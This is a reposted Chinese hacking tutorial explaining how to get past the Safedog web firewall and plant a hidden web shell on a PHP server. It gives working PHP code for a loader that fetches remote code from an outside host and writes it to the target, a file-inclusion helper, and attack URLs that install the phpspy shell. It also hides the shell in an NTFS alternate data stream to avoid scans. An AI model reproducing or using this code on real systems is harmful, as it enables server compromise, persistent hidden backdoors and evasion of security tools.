转自:http://fuck.0day5.com/?p=176
Author:laterain
0×00
利用 ;shell.php 上传php文件,绕过安全狗对php后缀的限制
这种方法论坛以前有发过,不详说了
0×01
我们虽然能上传php文件,但是无法上传我们的shell,因为安全狗会检测post数据包里的内容
但是,我们可以不上传,而让服务器来获取我们的shell,那样安全狗就没办法啦
这就要用到一个php的函数 file_get_contents()
这个函数可以从远程文件中读取内容
但前提是 php.ini 中allow_url_fopen 得为 on 才行哦
因为allow_url_fopen在配置中默认为on,所以这种方法的可用性还是很高滴!
那么我们就先利用0×00的方法传个getshell.php
<?php $remotecode = $_REQUEST['code']; $targetfile = $_REQUEST['file']; $shellcode = file_get_contents($remotecode); $fp = fopen($targetfile,"a"); fwrite($fp,$shellcode); ?>
0×02
虽然0×01绕过了对POST数据包检测的限制,但是还是无法绕过安全狗对文件内容检测的限制
但是呢,我们可以利用文件包含来绕过这个限制。因为安全狗只检测我们访问的文件的内容
那么我们再上传一个bypass.php
<?php $shell = $_REQUEST['shell']; require("$shell"); ?>
如果用0×01的方法上传就这样访问(你得先搭建个远程的服务器来放要传的文件)
http://fuck.0day5.com/;getshell.php?code=http://www.0day5.com/bypass.txt&file=bypass.php
这样就在与;getshell.php的相同目录下生成了bypass.php
然后再用相同的方法将shell传上去,比如说phpspy.txt
然后再访问
http://fuck.0day5.com/bypass.php?shell=phpspy.txt
这样就可以任意操作shell了。
0×03
虽然我们的shell上传上去了,也可用了,但是如果管理员很勤劳,每天都用安全狗扫网马那我们的shell不就掉了吗
那么,我们就要绕过安全狗对shell的检测
这里我们用到ADS,因为安全狗是无法扫描ADS建的文件的哦,但文件包含可以包含的
那么我们上传shell时就这样传
http://fuck.0day5.com/;getshell.php?code=http://www.0day5.com/phpspy.txt&file=fuck:1.txt
然后再访问
http://fuck.0day5.com/bypass.php?shell=fuck:1.txt
这样就得到一个隐藏的shell啦^.^
点评:对于php的千变万化 防火墙软件真的很不好做